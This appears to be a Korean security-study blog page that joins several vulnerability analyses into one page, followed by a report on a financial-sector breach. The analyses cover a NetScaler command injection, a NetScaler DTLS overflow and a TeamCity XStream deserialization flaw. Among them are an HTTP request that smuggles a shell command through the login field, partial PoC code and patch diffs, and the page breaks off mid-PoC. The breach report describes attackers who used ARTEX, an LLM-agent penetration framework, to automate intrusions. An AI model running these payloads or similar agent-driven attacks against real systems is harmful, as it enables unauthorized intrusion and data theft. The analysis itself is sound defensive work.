꼰머의 보안공부

1. CVE-2026-88771

- 로그 파일에서 추출한 문자열을 적절히 검증하지 않아 원격에서 인증되지 않은 공격자가 임의 명령을 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.5) [1][2]
> 해당 취약점은 모든 NetScaler ADC 및 NetScaler Gateway의 기본 구성 환경 전체에 영향을 미치므로 신속한 업데이트 적용 권고

영향받는 버전
- NetScaler ADC 및 Gateway 14.1 : 14.1-73.37 미만 버전
- NetScaler ADC 및 Gateway 13.1 : 13.1-64.23 미만 버전
- NetScaler ADC FIPS 14.1 : 14.1-73.37 FIPS 미만 버전
- NetScaler ADC FIPS 및 NDcPP 13.1 : 13.1-37.279 미만 버전

- ns_monuploadd_err.pl이 로그를 읽고 파일 검색 명령을 구성

# /netscaler/ns_monuploadd_err.pl
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]

chomp($WR_PPE_COREFILE_NAME);
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

- 위 명령 실행 결과로 문자열 NSPPE-01-45678이 출력되며, 해당 출력을 NSPPE 코어 파일인지, 숫자 형태의 프로세스 ID인지 검증하지 않고 다음 명령의 실행 인자로 전달
> 공격자 제어 문자열이 에러 로그에 기록되고, ns_monuploadd_err.pl이 로그를 읽어 임의 명령 실행 가능

[요청 예시]
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded

login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On

[응답 예시]
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web

<AuthenticateResponse xmlns="<http://citrix.com/authentication/response/1>"><Status>success</Status><Result>update-credentials</Result><StateContext>ctx_hintYYYYYYY</StateContext><AuthenticationRequirements><PostBack>/nf/auth/doCredentialUpdate.do</PostBack><CancelPostBack>/nf/auth/doCancelCredentialUpdate.do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Requirement><Credential><Type>none</Type></Credential><Label><Text>nsg_changepass</Text><Type>nsg-login-heading</Type></Label><Input/></Requirement><Requirement><Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential><Label><Text>nsg_username</Text><Type>nsg-login-label</Type></Label><Input><Text><ReadOnly>true</ReadOnly><InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue></Text></Input></Requirement><Requirement><Credential><ID>oldpwd</ID><Type>password</Type></Credential><Label><Text>nsg_oldpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><SaveID>passwd</SaveID><ID>newpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_newpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><ID>confirmedpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_confirmpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><Type>none</Type></Credential><Label><Text></Text><Type>nsg-change-pass-assistive-text</Type></Label><Input/></Requirement><Requirement><Credential><ID>ns-dialogue-submit</ID><Type>none</Type></Credential><Input><Button>Submit</Button></Input></Requirement></Requirements></AuthenticationRequirements></AuthenticateResponse>

- 공개된 PoC는 /nf/auth/doAuthentication.do URL로 HTTP Body에 pitboss PPE unexpectedly died NSPPE;{악성명령};# X을 담은 POST 요청 전송 [3]

login_payload = f"pitboss PPE unexpectedly died NSPPE;{args.command};# X" ; #Pat & Mat
encoded_login = urllib.parse.quote(login_payload, safe='') ;
url = args.target.rstrip('/') + "/nf/auth/doAuthentication.do"

try:
 response = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

- 패치 분석
> 정규식으로 예상 형식 검증 : “NSPPE-” 문자열 뒤 정확히 두 자리 숫자와 숫자로 이루어진 PID로만 조합
> 인자들을 분리해 find 명령 실행 : 명령과 인자가 분리되므로 셸 문법으로 해석되는 위험을 줄임
> 검색 결과 경로 검증 : 검색 결과 경로가 허용된 문자 집합으로만 구성되어 있는지 확인

my $WR_PPE_COREFILE_NAME = "";
my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
for my $log (@WR_FILES) {
    open my $fh, '<', $log or next;
    while (my $line = <$fh>) {
        $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
    }
    close $fh;
}

my $WR_PPE_CORE = "";
if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
    '(', '-name', $WR_PPE_COREFILE_NAME,
    '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
{
    while (my $found = <$find>) {
        chomp $found;
        if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
            $WR_PPE_CORE = $found;
        }
    }
    close $find;
}

2. CVE-2026-88772

- DTLS(Datagram Transport Layer Security) 기능이 활성화된 경우, DTLS 핸드셰이크 메시지를 재조립하는 과정에서 NSB(NetScaler Buffer) 체인의 데이터를 고정 크기 버퍼로 복사할 때, 복사할 데이터의 길이를 적절히 검증하지 않아 임의 코드 실행 또는 서비스 거부를 유발할 수 있는 취약점 (CVSS: 9.5)
> DTLS(Datagram Transport Layer Security)는 UDP 환경에서 TLS와 유사한 보안 기능을 제공하는 프로토콜

영향받는 버전
- NetScaler ADC 및 Gateway 14.1 : 14.1-73.37 미만 버전
- NetScaler ADC 및 Gateway 13.1 : 13.1-64.23 미만 버전
- NetScaler ADC FIPS 14.1 : 14.1-73.37 FIPS 미만 버전
- NetScaler ADC FIPS 및 NDcPP 13.1 : 13.1-37.279 미만 버전

- NetScaler는 수신한 DTLS 패킷을 NSB(NetScaler Buffer)라는 버퍼 객체에 저장하며, 여러 버퍼를 연결한 뒤 하나의 연속된 35,840 바이트의 Scratch Buffer로 복사
> 해당 과정에서 복사 대상 데이터가 버퍼의 남은 공간에 들어가는지 확인하지 않고 복사하여 임의 코드 실행 또는 서비스 거부 유발 가능

- 공개된 PoC는 length=120, fragment_length=1, fragment_offset=0~119로 구성한 비정상 핸드셰이크 레코드 120개를 전송하여, 서버의 NSB 체인 처리 과정에서 고정 크기 Scratch Buffer의 경계 검증 누락 유발 [5]

# 비정상 핸드셰이크 헤더 생성
def handshake_header(handshake_type, total_length, message_sequence,
                     fragment_offset, fragment_length):
    return (
        bytes([handshake_type])
        + total_length.to_bytes(3, "big")
        + message_sequence.to_bytes(2, "big")
        + fragment_offset.to_bytes(3, "big")
        + fragment_length.to_bytes(3, "big")
    )

# 비정상 핸드셰이크 레코드 구성
def malicious_record(index, patches):
    primary = (
        handshake_header(0x10, LOGICAL_SIZE, 2, index, 1)
        + bytes(PHYSICAL_PRIMARY_SIZE)
    )
    hidden = (
        handshake_header(0x10, HIDDEN_DECLARED_SIZE, 3, 0, HIDDEN_DECLARED_SIZE)
        + b"\xff" * HIDDEN_PAYLOAD_SIZE
    )
    payload = bytearray(primary + hidden)
    for body_offset, value in patches.get(index, {}).items():
        payload[body_offset] = value
    return record(bytes(payload), 2 + index)

- 패치 분석
> 전체 35,840 바이트에서 이미 복사된 바이트를 뺀 후 복사할 데이터가 해당 공간을 초과하면 처리 거부

--- nsppe-14.1-73.30
+++ nsppe-14.1-73.37
@@ DTLS NSB-chain copy loop @@
+0x143649d  mov    r15d, 0x8c00                    // [1]
+0x14364a3  sub    r15d, eax                       // [2]

 0x14364b0  movzx  edx, word ptr [r14 + 0xf2]     // next NSB size
+0x14364b8  cmp    r15d, edx                       // [3]
+0x14364bb  jb     reject_oversized_chain          // [4]

 0x14364cc  mov    rsi, qword ptr [r14 + 0xe8]    // source bytes
 0x14364d3  mov    rdi, rbx                        // scratch-buffer position
 0x14364d6  call   memcpy                          // [5]
 0x14364e3  add    rbx, rax                        // move output position
+0x14364e6  sub    r15d, eax                       // [6]

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]
> 해당 패치에서 두 가지 취약점을 포함한 총 8개의 취약점을 패치

※ 함께 패치된 취약점

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2026-88771
[2] https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
[3] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771?ref=labs.watchtowr.com
[4] https://nvd.nist.gov/vuln/detail/cve-2026-88772
[5] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772?ref=labs.watchtowr.com
[6] https://support.citrix.com/external/article/CTX697096/citrix-netscaler-adc-and-citrix-netscale.html
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=72201
[8] https://nvd.nist.gov/vuln/detail/cve-2026-88773
[9] https://nvd.nist.gov/vuln/detail/cve-2026-88774
[10] https://nvd.nist.gov/vuln/detail/cve-2026-88775
[11] https://nvd.nist.gov/vuln/detail/cve-2026-88776
[12] https://nvd.nist.gov/vuln/detail/cve-2026-88777
[13] https://nvd.nist.gov/vuln/detail/cve-2026-88778

보안 뉴스

[1] https://blog.google/security/chromes-response-to-recent-cctld-registry-hijacks/
[2] https://www.dailysecu.com/news/articleView.html?idxno=208795
[3] https://www.boannews.com/news/articleView.html?idxno=146250

1. 개요

- 2026년 9월 말부터 10월 초 국내 금융권 대상 연쇄적 개인정보 유출 사고가 발생하여, 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

- 공격자는 핵심 시스템인 코어뱅킹 시스템보다 상대적으로 보안 관리가 취약한 주변 시스템*을 공격 대상으로 삼음

* 직원용 모바일 업무 지원 시스템, 대출 모집인 페이지, 영업 지원 시스템 등

- 오픈소스 AI 기반 자율 침투 테스트 프레임워크인 ARTEX와 여러 LLM을 활용하여 자산 탐색 및 취약점 검증 등 공격 과정의 자동화가 이루어짐

* AI가 새로운 공격 기법을 창출한 것이 아닌, 기존 공격 과정의 자동화 및 고도화해 속도와 규모를 증폭시킨 사례

- 공격자는 해외 임대 서버(VPS)와 상용 프록시, 국내 IP 등을 혼용하고, 위협 평판 데이터베이스에 등록되지 않은 IP를 활용하여 기존 IP 평판 기반 방어 체계 우회

- 객체 수준의 접근 통제 강화, 외부 노출 자산 식별, Shadow IT 제거, 비정상적인 API 호출 탐지, 공통 솔루션의 취약점 점검, AI 기반 공격을 고려한 지속적 보안 검증이 필요 [1]~[11]

2. 주요 내용

2.1 사고 개요

- 공격자는 상대적으로 보안이 취약한 주변 시스템을 통해 민감정보에 접근 [1]~[11]

2.2 피해 범위

- 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

> 우리은행과 NH농협은행도 공격을 받았으나 정보 유출은 없었으며, 접근 경로와 인증 방식의 차이가 침해사고 여부를 가름 [12]

※ 우리은행의 경우 대출모집인이 접수한 대출 건을 지정한 태블릿에서만 확인 가능하고, 접속 시 별도 인증서와 생체인증 요구
※ NH농협은행의 경우 대출모집인에게 내부망 접속 권한이나 별도의 업무시스템을 제공하지 않고, 모집인이 유치한 대출 건을 영업점으로 넘기면 이후 절차를 은행 내부에서 처리

2.3 근본 원인 (Root Cause)

2.3.1 주변 시스템 관리 미흡

- 금융기관은 코어뱅킹 시스템에 높은 수준의 보안 통제를 적용하지만, 고객 정보를 처리하는 주변 업무 시스템은 상대적으로 관리가 소홀할 수 있음
- 공격자는 대출모집인 시스템, 임직원 복지·지원 서비스, 영업 지원 플랫폼 등 통제와 관리 우선순위에서 밀려난 외부 노출 자산의 공격 표면을 노림
- 주변 시스템이 내부 고객 정보 데이터베이스나 업무 API에 접근할 수 있는 경우, 해당 시스템의 보안 결함이 고객 정보 유출로 이어질 수 있음

2.3.2 Credential Stuffing

- 공격자는 다크웹 등을 통해 다른 서비스에서 유출된 계정 정보를 확보한 뒤, 금융기관의 로그인 시스템에 자동으로 대입하여 계정 접근 시도
- 동일하거나 유사한 계정 정보를 여러 서비스에서 사용하는 경우, 공격 성공 가능성 증가
- 로그인 시도 제한, 계정 잠금, MFA 등의 통제가 충분하지 않으면 계정이 탈취될 수 있음

2.3.3 API 인가(Authorization) 검증 미흡

- Credential Stuffing으로 계정을 탈취한 후, 고객 번호를 조작해 일반 고객용 조회 서비스 API에 반복적인 요청을 전송
- API 요청 과정에서 요청자의 인증(Authentication) 여부만 확인하고, 요청한 고객 정보에 접근할 권한이 있는지 서버단에서 인가(Authorization)절차가 제대로 수행되지 않음

※ 인증(Authentication) : 시스템에 접근하려는 사용자의 신원(Identity)을 확인하는 과정
※ 인가(Authorization) : 인증된 사용자가 특정 자원이나 기능에 접근할 수 있는 권한이 있는지 확인하고 부여하는 과정 

BOLA (Broken Object Level Authorization, 객체 수준 권한 부여 오류) [38]
- OWASP Top 10 API Security Risks – 2023 기준 1순위 위협에 해당
- API 요청에 포함된 객체 식별자(ID 등)를 임의로 조작해 다른 사용자의 데이터에 무단으로 접근해 데이터 조회, 수정, 삭제할 수 있는 취약점
- 주요 원인은 권한 검증 부족, 식별자 변경, 미비한 인증/인가 등이며, 엄격한 서버 측 권한 및 접근 검증, 객체 식별자 검증 등 필요 

※ BOPLA (Broken Object Property Level Authorization, 객체 속성 수준 권한 부여 오류) [39]
- OWASP Top 10 API Security Risks – 2023 기준 3순위 위협에 해당
- 사용자가 특정 데이터 객체 자체에는 접근 권한이 있으나, 해당 객체의 속성 단위 권한 검증이 부적절하여 민감 속성 유출, 속성 값 변경, 추가, 삭제가 가능한 취약점
- 주요 원인은 과도한 응답 데이터, 대량 할당(Mass Assignment) 등이며, 응답 구조 사전 정의, 속성 단위 권한 검증 적용, 기능 단위 접근 제한 등 필요

※ BFLA (Broken Function Level Authorization, 기능 수준 권한 부여 오류) [40]
- OWASP Top 10 API Security Risks – 2023 기준 5순위 위협에 해당
- 일반 사용자 권한을 가진 계정이 관리자용 API 앤드포인트 등 더 높은 권한이 필요한 기능(삭제, 설정 변경 등)을 무단으로 실행할 수 있는 취약점
- 주요 원인은 권한 검증 부족, 추측 가능한 앤드포인트 URL 등이며, 기본적으로 모든 접근 차단 및 각 기능별 명시적 접근 권한 부여, 서버 측 재검증, 최소 권한 원칙 적용 등 필요

※ IDOR (Insecure Direct Object Reference, 불안전한 직접 객체 참조)
- OWAPS TOP 10 2025 기준 1순위인 Broken Access Control의 대표적인 사례 중 하나 [41]
- 애플리케이션이 사용자가 제공한 식별자(ID 등)를 검증 없이 그대로 사용하여, 수평적(동일 권한 타 계정) 또는 수직적(높은 권한) 권한 상승, 데이터 무단 접근이 가능한 취약점
- 주요 원인은 권한 검증 부족, 유추하기 쉬운 식별자 사용, 과도한 클라이언트 입력 신뢰 등이며, 엄격한 권한 검증, 무작위 식별자 사용, 입력 값 검증 등 필

2.3.4 금융권 시스템 동질성

- 높은 규제로 인해 시스템 구성의 다양성이 낮으며, 대부분의 금융회사가 규제 요건을 통과한 솔루션, 3rd-Party 제품, 시스템 등을 사용
- 공통 솔루션이나 유사한 설계에서 취약점이 발견될 경우, 다른 기관에서도 동일 또는 유사한 문제가 존재할 가능성이 높음
- 따라서, 한 금융회사에서 보안 사고 발생 시 유사한 환경을 가진 다른 금융회사에도 동일한 취약점이 연쇄적으로 발견되는 구조

2.3.5 행위 기반 탐지 부족

- 기존 보안 장비가 알려진 악성 IP나 공격 시그니처에 의존하는 경우, 평판 정보가 없는 IP 또는 정상 요청과 유사한 API 호출을 즉각적으로 탐지하기 어려움
- 따라서, 공격 IP 차단을 기본으로 하되, 조회량, 오류 응답 증가, 요청 빈도 등을 종합적으로 분석해야 함 [42][43][44]

2.4 AI 기반 침투 테스 프레임워크 ARTEX

- ARTEX는 중국에서 개발된 LLM 기반 자율 침투 테스트 프레임워크로, 다수의 AI 에이전트를 활용해 자산 탐색, 취약점 점검 및 공격 과정을 자동화하는 오픈소스 프레임워크 [45]~[48]
- 역할이 나뉜 여러 AI 에이전트, 에이전트들이 함께 쓰는 지식 저장소, 표적에 실제 요청을 보내는 실행 도구로 구성되며, 목표를 주면 결과를 바탕으로 다음 점검 항목을 스스로 정하고 반복 수행
- 개선된 기능과 성능을 제공하는 ARTEX v2가 확인되어, 단순히 개별 침투 테스트 작업 자동화 도구를 넘어 여러 Agent의 작업과 도구, 데이터를 하나의 환경에서 조율 및 관리하는 플랫폼 형태로 발전
- 이번 금융권 사고와 관련 ARTEX 및 여러 AI 모델 활용 정황이 보도

2.4.1 동작 원리

- 다음 순서로 목표를 달성하거나 시도할 경로가 없어질 때까지 반복
> 정해진 순서대로 순환하는 것이 아닌 Worker가 결과를 기록할 때마다 Planner가 다시 실행되고, 마지막 목표가 증명될 시 실행 중지

2.4.2 공격 인프라 분석

- 공격자 한 명이 하나의 도구로 여러 국가의 임대 서버를 거쳐 여러 금융사의 외부 노출 시스템을 동시에 탐색
- ARTEX 인스턴스가 호스팅된 IP를 시작점으로 연관 인프라 분석 결과 약 600개의 추가 IP를 확인하였으나, 오픈소스 프로젝트이므로 모든 IP를 공격 인프라로 판단해서는 안됨 [49]~[51]

- 식별된 인프라에서 외부 노출된 웹 서비스 추가 분석 결과 다양한 AI 기반 및 기존 공격·보안 도구가 함께 운영 [52][53]

> 또 다른 분석에서는 14개 국가·지역에서 ARTEX 관련 고유 IP 359개 및 AI 기반 보안 분석 자동화 도구 관련 서버도 약 1,000개 규모로 관측

> 인터넷에 노출된 ARTEX 관련 작업 디렉터리 두 곳을 분석해 웹셸, 내부망 탐색, 원격 접속, 자격증명 수집, C2 통신 및 원격 제어 악성코드(임플란트) 관련 자료 발견 [54]

2.4.3 공격자 신원

- 공격자 서버에 외부에서 열람할 수 있는 상태로 남아 있던 파일을 분석해 중국 거주 사용자 계정 @YY520CN 식별 [55]~[60]
> 중국어권 사이버범죄 커뮤니티 Dogshield·狗盾에서 활동하며 DDoS 공격 대행, 익명 서버 판매, 해외 고객 대상 공격 지원 등에 관여

> 중국계 DDoS-for-hire 해킹 조직인 GodNet/VITAS의 커뮤니티 감독관(社区监督员)임을 식별

3. 금융위원회 긴급 상황 대응 회의

4. 대응방안

5. 참고

[1] https://www.dailysecu.com/news/articleView.html?idxno=208773
[2] https://www.boannews.com/news/articleView.html?idxno=146246
[3] https://www.yna.co.kr/view/AKR20261008020052017
[4] https://www.boannews.com/news/articleView.html?idxno=146184
[5] https://www.boannews.com/news/articleView.html?idxno=146219
[6] https://www.yna.co.kr/amp/view/AKR20261008038500017
[7] https://www.boannews.com/news/articleView.html?idxno=146287
[8] https://www.yna.co.kr/view/AKR20261006071400002
[9] https://m.etnews.com/20261008000316
[10] https://www.newstomato.com/ReadNews.aspx?no=1316061
[11] https://www.yna.co.kr/view/AKR20261007112100017
[12] https://economist.co.kr/article/view/ecn202610070031
[13] https://www.bloter.net/news/articleView.html?idxno=675710
[14] https://www.dailysecu.com/news/articleView.html?idxno=208898
[15] https://www.seoul.co.kr/news/economy/finance/2026/10/04/20261004500051?wlog_tag3=naver
[16] https://www.dailysisa.com/news/articleView.html?idxno=52600
[17] https://www.fnnews.com/news/202610041813000672
[18] https://www.boannews.com/news/articleView.html?idxno=146150
[19] https://www.boannews.com/news/articleView.html?idxno=146174
[20] https://www.pravang.com/support/notice/639
[21] https://www.boannews.com/news/articleView.html?idxno=146364
[22] https://n.news.naver.com/article/214/0001528778?sid=101
[23] https://www.boannews.com/news/articleView.html?idxno=146175
[24] https://www.boannews.com/news/articleView.html?idxno=146182
[25] https://www.boannews.com/news/articleView.html?idxno=146183
[26] https://www.boannews.com/news/articleView.html?idxno=146186
[27] https://www.boannews.com/news/articleView.html?idxno=146294
[28] https://nvd.nist.gov/vuln/detail/cve-2025-49844
[29] https://www.news1.kr/finance/general-finance/6320826
[30] https://www.boannews.com/news/articleView.html?idxno=146187
[31] https://www.newsis.com/view/NISX20261006_0003816422
[32] https://www.newsis.com/view/NISX20261014_0003826251
[33] https://biz.chosun.com/stock/finance/2026/10/16/ZE5DKVDEVBCSLJDPEKIE4ZHCMA/?utm_source=naver&utm_medium=original&utm_campaign=biz
[34] https://news.tf.co.kr/read/economy/2376344.htm
[35] https://www.news1.kr/finance/general-finance/6320974
[36] https://www.dailysecu.com/news/articleView.html?idxno=208898
[37] https://www.boannews.com/news/articleView.html?idxno=146469
[38] https://api-security.owasp.org/editions/2023/en/0xa1-broken-object-level-authorization/
[39] https://api-security.owasp.org/editions/2023/en/0xa3-broken-object-property-level-authorization/
[40] https://api-security.owasp.org/editions/2023/en/0xa5-broken-function-level-authorization/
[41] https://top10.owasp.org/2025/A01_2025-Broken_Access_Control/
[42] https://www.enki.co.kr/media-center/blog/2026-financial-sector-serial-breaches-analysis-and-countermeasures
[43] https://www.boannews.com/news/articleView.html?idxno=146267
[44] https://www.boannews.com/news/articleView.html?idxno=146208
[45] https://github.com/jiwoochris/artex-ko
[46] https://www.skshieldus.com/security-insights/reports
[47] https://www.boannews.com/news/articleView.html?idxno=146220
[48] https://www.yna.co.kr/amp/view/AKR20261007170700017
[49] https://www.dailysecu.com/news/articleView.html?idxno=208724
[50] https://www.yna.co.kr/view/AKR20261008116200017
[51] https://www.yna.co.kr/view/AKR20261006118100017
[52] https://www.ahnlab.com/ko/contents/content-center/36299
[53] https://www.ahnlab.com/ko/contents/content-center/36300
[54] https://www.ahnlab.com/ko/contents/content-center/36305
[55] https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/
[56] https://www.dailysecu.com/news/articleView.html?idxno=208781
[57] https://www.boannews.com/news/articleView.html?idxno=146276
[58] https://www.dailysecu.com/news/articleView.html?idxno=208807
[59] https://www.dailysecu.com/news/articleView.html?idxno=208814
[60] https://www.boannews.com/news/articleView.html?idxno=146292
[61] https://www.fsc.go.kr/no010101/87869?srchCtgry=&curPage=4&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[62] https://www.fsc.go.kr/no010101/87927?srchCtgry=&curPage=&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[63] https://www.naeil.com/news/read/605230?ref=naver
[64] https://www.fsc.go.kr/no010101/87882?srchCtgry=&curPage=3&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[65] https://www.krcert.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72207
[66] https://www.krcert.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72211
[67] https://www.dailysecu.com/news/articleView.html?idxno=208810
[68] https://www.dailysecu.com/news/articleView.html?idxno=208808
[69] https://www.dailysecu.com/news/articleView.html?idxno=208820
[70] https://www.dailysecu.com/news/articleView.html?idxno=208822

1. 취약점

- 인증되지 않은 에이전트 요청 처리 과정에서 XStream의 타입 허용 목록 설정이 불완전하여, 인증되지 않은 공격자가 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행이 가능한 취약점 (CVSS: 9.8) [2]

> 해당 취약점을 랜섬웨어 공격에 악용하고 있어 즉각적인 대응이 필요

영향받는 버전
- TeamCity 2026.1.3 이전 버전
- TeamCity 2025.11.7 이전 버전

2. 상세분석

2.1 Root cause

- XStream 설정 시 기존 기본 허용 타입(Default Permissions)을 명시적으로 제거하지 않고, 커스텀 허용 목록(Allowlist)만 추가한 것이 주원인

> XStream은 Java 객체를 XML로 직렬화(Serialization)하거나, 반대로 XML을 자바 객체로 역직렬화(Deserialization)하는 데 사용하는 자바 라이브러리로, TeamCity는 Agent Polling Protocol을 통해 서버와 통신하며, 이때 XStream을 사용 [3]

> allowTypeHierarchy()는 지정한 타입뿐만 아니라 해당 타입의 하위 클래스나 구현체(상속 또는 구현)에 대해 역직렬화 권한을 부여

> Map, Throwable 등 다양한 구현 클래스 및 하위 클래스를 포괄하는 권한이 포함되어 있어, 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행으로 이어지는 체인을 구성할 수 있음

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

2.2 취약점 악용

- 먼저 서버는 /app/agents/v1/register 엔드포인트로 전송되는 HTTP POST를 통해 에이전트 등록 요청을 수락하고, 응답 헤더 TeamCity-AgentSessionId를 통해 세션 식별자 반환

- 이어서 공격자는 발급받은 세션 식별자와 가젯 체인(Gadget Chain)을 포함한 XML을 /app/agents/v1/commands/error 엔드포인트로로 HTTP POST 요청을 전송

> handleCommands 메서드는 TeamCity-AgentSessionId 헤더 검증 후 error 명령 처리를 위해 handleCommandIsFailedRequest 메서드 호출

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

> handleCommandIsFailedRequest 메서드에서 가젯 체인이 포함된 XML이 역직렬화되어 인증되지 않은 공격자가 원격 코드 실행이 가능

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

2.3 Gadget Chain

- Gadget Chain이란 기존 코드 조각(Gadget)들을 서로 연결하여 공격자가 원하는 명령을 실행하게 만드는 공격 기법 [5]

2.4 JSP 페이로드 실행

- JspController.doHandle() 메서드는 내부 요청, 인증된 사용자의 요청, 직접 JSP를 요청하는 명시적 파라미터가 존재하지 않으면 JSP가 실행되기 전에 HTTP 403 오류를 반환

> TeamCity의 WEB-INF/web.xml에는 *.jspws 확장자를 Apache Jasper의 서블릿으로 직접 매핑해두어 인증 검사 단계를 거치지 않고 서블릿으로 요청이 전달

> 공격자는 Gadget Chain을 이용해 웹 루트에 JSPWS 파일을 생성하고, 두 번째 요청을 통해 JSPWS 파일에 접근

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

2.5 PoC

- 가짜 Agent를 등록해 TeamCity-AgentSessionId를 획득한 후 악성 XML을 전송하여 XStream 가젯 체인 실행 및 생성한 .jspws 파일을 호출해 서버에서 명령 실행 [6]

def build_registration_xml() -> bytes: # 가짜 Agent 등록 XML 생성
    ...

def build_jsp_scriptlet(
    jsp_path: str, guard: str, response_token: str, command: str
) -> str: # JSPWS 파일에 삽입할 명령 실행 코드 생성
    scriptlet = f"""
        <%
          if (application.getAttribute({java_string(guard)}) == null) {{
            application.setAttribute(
              {java_string(guard)},
              java.lang.Boolean.TRUE
            );
            java.nio.file.Files.deleteIfExists(
